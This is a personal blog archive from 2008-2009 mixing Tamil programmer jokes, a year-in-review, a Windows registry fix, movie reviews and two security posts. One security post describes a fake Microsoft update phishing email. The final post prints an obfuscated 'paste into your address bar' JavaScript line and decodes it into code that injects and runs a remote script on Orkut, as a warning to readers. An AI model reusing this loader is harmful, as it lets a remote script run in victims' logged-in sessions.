Superstar’s Punch for Software Engineers

March 17th, 2009

Thanks to Shyam for these.

சாப்ட்வேர் மக்களுக்கு ரஜினியின் ‘பஞ்ச’
—–
பக்(Bug) எப்ப வரும், எப்படி வரும்ன்னு யாருக்கும் தெரியாது
ஆனா, வர வேண்டிய நேரத்துல கரெக்டா வந்துடும்
—–
நீ விரும்புற ப்ராஜக்ட்ல ஓர்க் பண்ணுறத விட
உன்னை விரும்பற ப்ராஜக்டல ஒர்க் பண்ணினா
உன் வாழ்க்கை சந்தோஷமா இருக்கும்.
—–
கஷ்டப்படாம பிக்ஸ் பண்ணுற பக் க்ளோஸ் ஆகாது
அப்படி க்ளோஸ் ஆனாலும் ரீ-ஓபன் ஆகாம போகாது.
—–
ப்ரோமோஷன், ஹைக், ஆன்சைட்
இது பின்னாடி நாம போக கூடாது
இதெல்லாம்தான் நம்ம பின்னாடி வரணும்
—–
கை அளவு லாஜிக் எழுதினா, அது நம்ம காப்பாத்தும்
அதுவே கழுத்தளவு எழுதினா, அதை நாம காப்பாத்தணும்.
—–
மேனேஜர், ஃப்ரஷ்ஷரை ரொம்ப சோதிப்பான்
ஆனா கைவிட மாட்டான்.
எக்ஸ்பிரியன்ஷுக்கு நிறைய கொடுப்பான்
ஆனா கை விட்டுடுவான்.
—–
அசந்தா அடிக்குறது கவர்மெண்ட் பாலிஸி
அசராம அடிக்குறது சத்யம் பாலிஸி
—–
டெவலப்பர் டீம் போடுறது, லாஜிக் கணக்கு
டெஸ்ட்டர் டீம் போடுறது, டிஃபக்ட் கணக்கு
மார்க்கட்டிங் டீம் போடுறது, ப்ராஜக்ட் கணக்கு
மேனேஜ்மெண்ட் டீம் போடுறது, ரெவன்யூ கணக்கு
ஹெ.ஆர். டீம் போடுறது, தலை கணக்கு
சிஸ்.அட்மின் டீம் போடுறது, வலை கணக்கு
சேல்ஸ் டீம் போடுறது, விற்பனை கணக்கு
ரிசர்ச் டீம் போடுறது, கற்பனை கணக்கு
கூட்டி கழிச்சி பாரு! கணக்கு சரியா வரும்!
—–
லாஸ்ட் பட் நாட் த லீஸ்ட்

அதிகமா பெஞ்ச்ல இருக்குற எம்ப்ளாயும்
அதிகமா லே-ஆஃப் பண்ணுற முதலாளியும்
நல்லா வாழ்ந்ததா சரித்திரமே இல்லை.
—–
இது எப்படி இருக்கு?

2008 – The Year That Was

January 1st, 2009

So as we welcome the new year of 2009, it’s time to look back at 2008 and see what all I did.

Jan 1 – As usual, woke up and did nothing during the day :) . This was during my vacation back home after a grueling semester at Carnegie Mellon.

Jan 4 – Met some old buddies back from college days and reminisced of our good old days.

Jan 11 – Unfortunately, my 3 weeks of vacation had ended and I had to fly back to Pittsburgh to start the spring semester.

Jan 14 – Begin the grueling spring semester, and promptly get yelled at by the client. That was one of my biggest lessons, do your research and do it damn well. The next few weeks were spent revisiting our documents and research.

Jan 25 – Began a new project involving software cryptography for sensor networks. Had a really good time on this project.

Feb 14 – Interviewed with Green Hills Software. The phone interview, in their words, “went very well” and they scheduled me for a flight out to meet them at their Santa Barbara campus.

March 6-9 – Had a good time in Santa Barbara, if not successful at clearing the interview. Left for a short vacation in the Bay Area.

March 13 – Interviewed with Redback Networks in San Jose. This interview was set up in just 1 day, as I was flying back to Pittsburgh the next day.

Apr 23-25 – Set up our exhibit at the Children’s Museum of Pittsburgh. It was a very simple game but attracted plenty of attention.

May 6 – Big bunch of presentations for the CenSCIR symposium at Roberts Hall, CMU.

May 8 – Gave a big presentation for our project. All that we had done over the past two semesters was condensed into a half hour presentation. This is what I call the Reverse Kolangal Effect.

May 13 – Gave another presentation for another project, the one we did for the Children’s Museum. This was a much less formal one and a simple exit to end the semester, and the course.

May 18 – Graduated!!! And it was a really long and tiring day, but worth every second of blood and sweat.

May 20 – Flew back to San Jose to get ready to join work.

Jun 3-6 – Flew to Vegas, and visited the Grand Canyon.

Jun 6 – Left Vegas and flew to Los Angeles.

Jun 8 – Visited Universal Studios, LA

Jun 9 – Returned to San Jose.

Jun 20 – Moved to a new apartment near work.

Jun 30 – Began working at Redback Networks.

Aug 28 – Got my US driver’s license.

Sep 1 – Now that I had a US license, I rented a car for the Labor Day weekend. Went and visited my cousins in the area.

Nov 22-29 – Flew to Dallas for the Thanksgiving break. Met up with old friends.

Dec 21 – Bought my first car, a 1997 Mazda 626.

Dec 31 – Worked my butt off all day, and spent the evening on a space simulator :D

Windows Hacks: Open With Context Menu

November 26th, 2008

It turned out that when I’d try to use the open with context menu in windows explorer, it would open the file with notepad by default, instead of showing the actual open with window.

A little registry hacking is required to restore the default behaviour.

Steps:

  1. Open the registry editor and navigate to HKEY_CLASSES_ROOT\Unknown\shell
  2. There should be a sub-key called openas\command. If that doesn’t exist, create it.
  3. The “default” entry in HKEY_CLASSES_ROOT\Unknown\shell\openas\command should be a string type. It is the expandable string type in my Windows XP installation. The value should be

    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,OpenAs_RunDLL %1

  4. Navigate back to the HKEY_CLASSES_ROOT\Unknown\shell
  5. The “default” entry for this key should be “openas”

These steps should fix the issue and restore the default behaviour.

Vaaranam Aayiram

November 15th, 2008

Saw the movie last night, however, I’ll leave the reviewing up to Suderman.

Read Sudhish’s review here.

My take? Nice story, but a bit overstretched. ‘Nuff said.

Firefox 3 – Irony

September 18th, 2008

As you probably know, Firefox 3 has a “feature” to block access to sites that have been reported to be phishing or malware hosts.

Ironically, Mozilla’s own page titled “It’s an attack” has been reported to be an attack site.

Mozilla - Reported Attack Site

Mozilla - Reported Attack Site

Update: I stand corrected. Mozilla’s own page confirms it to be a test page for verifying that it’s Phishing and Malware protection is working correctly.

Review: Saroja

September 14th, 2008

Venkat Prabhu’s latest venture has all the makings of a superhit blockbuster movie (according to other reviews out there). I had a chance to see Saroja last night at IMC6 in San Jose.

Verdict: A movie about friends who are on the way to see a cricket match, and get lost along the way. They wind up getting punched, kicked, beaten up and shot at. Good suspense, thrills, and cheesy comedy. Overall, a good movie, if a bit slow at times.

More, you say? Click on the link below. Be warned, spoilers follow.

Read the rest of this entry »

Superfast SuperStar

August 6th, 2008

I can’t believe how much they milk his image…

(via Balaji)

RIP Randy Pausch

July 26th, 2008

I’ve never had the chance to either take one of his classes or even listen to his last lecture live, although I saw it online. If you haven’t seen it, take the time to do so now.

Dr. Pausch was diagnosed with terminal pancreatic cancer in September of 2006, and in August 2007 was told that he had maybe 3 to 6 months left to live. I can immediately think of one of Rajnikanth’s dialogues from Sivaji – “Saagara naal therinji pochu na vaazhara naal naragham aayidum, santhosham thaanga mukiyam”. Most people would wallow in self pity on hearing such news, but not Dr. Pausch. The way he treated this information is close to stunning. He did not wallow in self-pity, but instead put his heart and soul into doing the things that he wanted to do.

Probably the most important lesson that I’ve got from his last lecture is this quote: “The brick walls are there for a reason: they are not there to keep you out, but to give you a chance to show how badly you want something”.

I was lucky enough to see and hear Dr. Pausch again during my commencement ceremony in May, where he delivered an inspirational speech to the class of 2008. One of his most insightful comments was “It is not the things that we do in life that we’ll regret, on our death bed; it is the things that we do not.”

Dr. Pausch, your work has inspired masses of people. Requiscat in Pace.

Public Transportation in USA

May 10th, 2008

Kartik was talking about traveling in the big bad city of Mumbai. His post prompted me to write a post about traveling in metropolitan cities in USA.

Basically, the public transportation infrastructure in most cities will make seasoned Chennai/Mumbai travelers cringe in horror. (Well, not really, but I’ve seen more frequent 29C buses in Chennai than a 500 bus out here in Pittsburgh). You really need to have a car to get anywhere important.

Having said that, I must still comment that Pittsburgh has one of the best bus networks across the US. Like the Mumbai trains, the buses here follow a rigid schedule (well, mostly). You can pick up a schedule free of cost from any bus, the University Center on the Carnegie Mellon campus also has a number of bus schedules of all buses that pass in the vicinity of the university. These schedules give daily timings, along with major stop points and a map of the route. You can also go online to the website of the Port Authority of Allegheny County and enter your starting location and destination intersections, and the website will automatically give you a few routes which you can follow, along with the timings.

New Features from Google

April 1st, 2008

This year’s new features from Google…

  • Custom Time – Allows you to send e-mail with timestamps in the past. Hmm… considering mail headers can be spoofed, not particularly unique.
  • Wake Up Kit – Guaranteed to make you wake up on time. I think I prefer Clocky
  • Yogurt – Use as directed to find friends online. And all this time, I was thinking yogurt was something you ate…

Life’s Little Lessons

March 16th, 2008

Make sure you book your flight with at least an hour between connections, or you’ll wind up running the four minute mile in one…

The Name Is Rajnikanth

March 1st, 2008

As a big time fan of SuperStar Rajnikanth, I’m quite excited to hear about this latest project.

Dr. Gayathri Shrikanth, a renowned ophthalmologist in Chennai, has written a biography of the Superstar titled “The Name is Rajnikanth”. Due to release in Chennai on the 6th of March, it is priced at Rs. 495.

Read the full article here.

Valentine’s Day Forwards

February 14th, 2008

I’ll leave this one up to Ferrari…

http://prabhukrish.net/2008/02/14/valentine-day-forward/

Microsoft Spoof

February 6th, 2008

I received a mail today purported to be from Microsoft updates. The mail was just this:

URGENT: Please intall critical Windows XP/2000/2003/Vista update!

Urgent Install Get critical update (obligatory)

Concerned about privacy? When you check for updates, basic information about your computer, not you, is used to determine which updates your programs need. To learn more, see our privacy statement.

Now, the only link present in the original e-mail was the “Get critical update (obligatory)” one. No link to the privacy statement. No link to a Microsoft Security Advisory, nothing. And that link was to another site designed to look exactly like the Microsoft Update website.

The scary thing is that this kind of e-mail is very effective. Most people who don’t have any clue of what is going on would just click on the button, resulting in an installation that would bring in viruses, Trojans, spyware, malware, etcetera, etcetera, etcetera.

That’s why there are a lot of warnings all over. Don’t click on any link in e-mail messages, even if you believe it to be true.

(Or better yet, use Linux)

Orkut Scripts

January 31st, 2008

Of late, I’ve been getting a lot of scraps in orkut like “Paste this text into your address bar. Don’t worry it’s harmless…”

The latest is a pretty interesting one…

javascript:eval(String.fromCharCode(100, 61, 100, 111, 99, 117, 109, 101, 110, 116, 59, 99, 61, 100, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 100, 46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 99, 41, 59, 99, 46, 115, 114, 99, 61, 39, 104, 116, 116, 112, 58, 47, 47, 99, 111, 111, 108, 112, 99, 115, 116, 117, 102, 102, 46, 103, 111, 111, 103, 108, 101, 112, 97, 103, 101, 115, 46, 99, 111, 109, 47, 114, 111, 100, 114, 105, 103, 111, 46, 117, 115, 101, 114, 46, 106, 115, 39, 59, 118, 111, 105, 100, 40, 48, 41))

The eval function of JavaScript takes a string and executes it as if it were JavaScript code. The String.fromCharCode function takes a series of numbers and converts it into their corresponding ASCII characters.

A simple one line C program reveals the string behind the integers (line breaks added for easy understanding):

d=document;
c=d.createElement('script');
d.body.appendChild(c);
c.src='http://coolpcstuff.googlepages.com/rodrigo.user.js';
void(0)

This is a pretty simple bit of code that appends the script located at the address shown above to the current document and executes it. Now, when I tried to get the script at the site, I get the message: This site has been disabled for violations of our Program Policies. .

A quick google search for the script file name yielded that the script simply floods your friends scrapbooks with the same message. Apparently harmless. The key word is apparently.

Now, I have a healthy dose of paranoia. I don’t trust any of these scripts unless I write them myself, or at least examine them myself. Now, I have tried to access some of the scripts directly (which should return the script source code without executing it), but the site gives me a permission denied (reason: hotlinking forbidden). That gives me all the more reason to suspect something is amiss.

I still don’t get it why people jump on scripts like this, when the orkut home page advertises (or at least used to) not to run any script when logged onto orkut. So, I’ll put out a simple security advisory.

Don’t run any script while logged into orkut (or for that matter, any website), no matter what it claims to do. For instance, one malicious script could always steal your personal information, even if you have hidden it from your friends. If a script can read your friends list, it can read anything.